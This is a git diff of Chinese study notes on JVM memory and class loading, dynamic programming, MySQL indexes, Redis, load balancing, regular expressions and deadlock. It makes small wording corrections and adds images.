<div align="center"> <img src="../pics//JVM-runtime-data-area.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
## 程序计数器 ## 程序计数器
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。 记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
## Java 虚拟机栈 ## 虚拟机栈
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。 每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
<div align="center"> <img src="../pics//JVM-Stack.png" width=""/> </div><br> <div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小: 可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
@ -56,13 +56,13 @@ java -Xss=512M HackTheJava
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。 与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
<div align="center"> <img src="../pics//JNIFigure1.gif" width="400"/> </div><br> <div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
## Java ## 堆
所有对象实例都在这里分配内存。 所有对象实例都在这里分配内存。
是垃圾收集的主要区域("GC 堆 "),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块: 是垃圾收集的主要区域("GC 堆"),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
- 新生代Young Generation - 新生代Young Generation
- 老年代Old Generation - 老年代Old Generation
@ -102,7 +102,7 @@ Class 文件中的常量池(编译器生成的各种字面量和符号引用
## 直接内存 ## 直接内存
在 JDK 1.4 中新加入了 NIO 类,引入了一种基于通道Channel与缓冲区Buffer的 I/O 方式,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。 在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
# 二、垃圾收集 # 二、垃圾收集
@ -221,11 +221,9 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
不足: 不足:
1. 标记和清除过程效率都不高 1. 标记和清除过程效率都不高
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。 2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
之后的算法都是基于该算法进行改进。
### 2. 复制 ### 2. 复制
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
@ -394,7 +392,7 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活,并且能被
### 4. 动态对象年龄判定 ### 4. 动态对象年龄判定
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无等待 MaxTenuringThreshold 中要求的年龄。 JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无等待 MaxTenuringThreshold 中要求的年龄。
### 5. 空间分配担保 ### 5. 空间分配担保
@ -418,7 +416,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
### 4. JDK 1.7 及以前的永久代空间不足 ### 4. JDK 1.7 及以前的永久代空间不足
在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC。 在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC。
### 5. Concurrent Mode Failure ### 5. Concurrent Mode Failure
@ -448,7 +446,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生): 虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。 1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。 2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
@ -507,19 +505,19 @@ System.out.println(ConstClass.HELLOWORLD);
主要有以下 4 个阶段: 主要有以下 4 个阶段:
**(一)文件格式验证** (一)文件格式验证
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。 验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
**(二)元数据验证** (二)元数据验证
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。 对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
**(三)字节码验证** (三)字节码验证
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。 通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
**(四)符号引用验证** (四)符号引用验证
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。 发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
@ -610,11 +608,11 @@ public static void main(String[] args) {
从 Java 开发人员的角度看,类加载器可以划分得更细致一些: 从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
- 启动类加载器Bootstrap ClassLoader 此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。 - 启动类加载器Bootstrap ClassLoader此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
- 扩展类加载器Extension ClassLoader 这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。 - 扩展类加载器Extension ClassLoader这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
- 应用程序类加载器Application ClassLoader 这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。 - 应用程序类加载器Application ClassLoader这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。
### 3. 双亲委派模型 ### 3. 双亲委派模型
@ -634,7 +632,7 @@ public static void main(String[] args) {
```java ```java
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{ protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
//check the class has been loaded or not // 先检查请求的类是否已经被加载过了
Class c = findLoadedClass(name); Class c = findLoadedClass(name);
if(c == null) { if(c == null) {
try{ try{
@ -644,9 +642,10 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
c = findBootstrapClassOrNull(name); c = findBootstrapClassOrNull(name);
} }
} catch(ClassNotFoundException e) { } catch(ClassNotFoundException e) {
//if throws the exception , the father can not complete the load // 如果父类加载器抛出 ClassNotFoundException说明父类加载器无法完成加载请求
} }
if(c == null) { if(c == null) {
// 如果父类加载器无法完成加载请求,再调用自身的 findClass() 来进行加载
c = findClass(name); c = findClass(name);
} }
} }

View File

@ -15,7 +15,7 @@
* [动态规划](#动态规划) * [动态规划](#动态规划)
* [斐波那契数列](#斐波那契数列) * [斐波那契数列](#斐波那契数列)
* [最长递增子序列](#最长递增子序列) * [最长递增子序列](#最长递增子序列)
* [最长公共子系列](#最长公共子系列) * [最长公共子序列](#最长公共子序列)
* [0-1 背包](#0-1-背包) * [0-1 背包](#0-1-背包)
* [数组区间](#数组区间) * [数组区间](#数组区间)
* [字符串编辑](#字符串编辑) * [字符串编辑](#字符串编辑)
@ -1960,7 +1960,7 @@ public int wiggleMaxLength(int[] nums) {
} }
``` ```
### 最长公共子 ### 最长公共子
对于两个子序列 S1 和 S2找出它们最长的公共子序列。 对于两个子序列 S1 和 S2找出它们最长的公共子序列。
@ -1970,7 +1970,7 @@ public int wiggleMaxLength(int[] nums) {
② 当 S1<sub>i</sub> != S2<sub>j</sub> 时,此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列,与 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列,它们的最大者,即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。 ② 当 S1<sub>i</sub> != S2<sub>j</sub> 时,此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列,与 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列,它们的最大者,即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
综上,最长公共子列的状态转移方程为: 综上,最长公共子列的状态转移方程为:
<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br> <div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br>

View File

@ -216,14 +216,14 @@ customer_id_selectivity: 0.0373
聚簇索引并不是一种索引类型,而是一种数据存储方式。 聚簇索引并不是一种索引类型,而是一种数据存储方式。
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起InnoDB 的聚簇索引的数据行存放在 B-Tree 的叶子页中。 术语“聚簇”表示数据行和相邻的键值紧密地存储在一起InnoDB 的聚簇索引的数据行存放在 B+Tree 的叶子页中。
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。 因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
**优点** **优点**
1. 可以把相关数据保存在一起,减少 I/O 操作; 1. 可以把相关数据保存在一起,减少 I/O 操作;
2. 因为数据保存在 B-Tree 中,因此数据访问更快。 2. 因为数据保存在 B+Tree 中,因此数据访问更快。
**缺点** **缺点**

View File

@ -212,7 +212,14 @@ Redis 可以为每个键设置过期时间,当键过期时,会自动删除
# 四、发布与订阅 # 四、发布与订阅
发布与订阅实际上是观察者模式,订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。 订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会去调度观察者的方法;而发布与订阅模式是异步的;
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下: 发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
@ -241,7 +248,7 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
## 2. AOF 持久化 ## 2. AOF 持久化
AOF 持久化将写命令添加到 AOF 文件Append Only File的末尾。 将写命令添加到 AOF 文件Append Only File的末尾。
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。 对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
@ -365,7 +372,7 @@ def main():
从事件处理的角度来看,服务器运行流程如下: 从事件处理的角度来看,服务器运行流程如下:
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png"/> </div><br> <div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br>
# 十一、Redis 与 Memcached 的区别 # 十一、Redis 与 Memcached 的区别
@ -424,7 +431,7 @@ Redis 这种内存数据库能支持计数器频繁的读写操作。
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。 如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
作为内存数据库出于对性能和内存消耗的考虑Redis的淘汰算法LRU、TTL实际实现上并非针对所有key而是抽样一小部分key从中选出被淘汰key。抽样数量可通过`maxmemory-samples`配置。 作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法LRU、TTL实际实现上并非针对所有 key而是抽样一小部分 key 从中选出被淘汰 key。抽样数量可通过 maxmemory-samples 配置。
# 十四、一个简单的论坛系统分析 # 十四、一个简单的论坛系统分析
@ -464,3 +471,4 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html) - [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide) - [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/) - [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)

View File

@ -127,6 +127,7 @@
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br> <div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6.源地址哈希法(ip hash) ### 6.源地址哈希法(ip hash)
源地址哈希通过对客户端IP哈希计算得到的一个数值用该数值对服务器数量进行取模运算取模结果便是目标服务器的序号。 源地址哈希通过对客户端IP哈希计算得到的一个数值用该数值对服务器数量进行取模运算取模结果便是目标服务器的序号。
- 优点保证同一IP的客户端都会被hash到同一台服务器上。 - 优点保证同一IP的客户端都会被hash到同一台服务器上。
@ -134,6 +135,7 @@
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br> <div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 实现 ## 实现
### 1. HTTP 重定向 ### 1. HTTP 重定向

View File

@ -19,7 +19,7 @@
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。 正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
[正则表达式在线工具](http://tool.chinaz.com/regex) [正则表达式在线工具](http://tool.oschina.net/regex/)
# 二、匹配单个字符 # 二、匹配单个字符
@ -118,7 +118,7 @@ abc[^0-9]
**正则表达式** **正则表达式**
``` ```
[\w.]+@\w+.\w+ [\w.]+@\w+\.\w+
``` ```
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符; [\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
@ -130,8 +130,8 @@ abc[^0-9]
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。 为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
``` ```
[\w.]+@\w+.\w+ [\w.]+@\w+\.\w+
[\w.]+@[\w]+.[\w]+ [\w.]+@[\w]+\.[\w]+
``` ```
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符; **{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;

View File

@ -564,7 +564,7 @@ Linux 中管道通过空文件实现。
1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。 1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。 2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显地释放。 3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显地释放。
4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。 4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
## 死锁的处理方法 ## 死锁的处理方法

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

BIN
pics/PPjwP.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 363 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB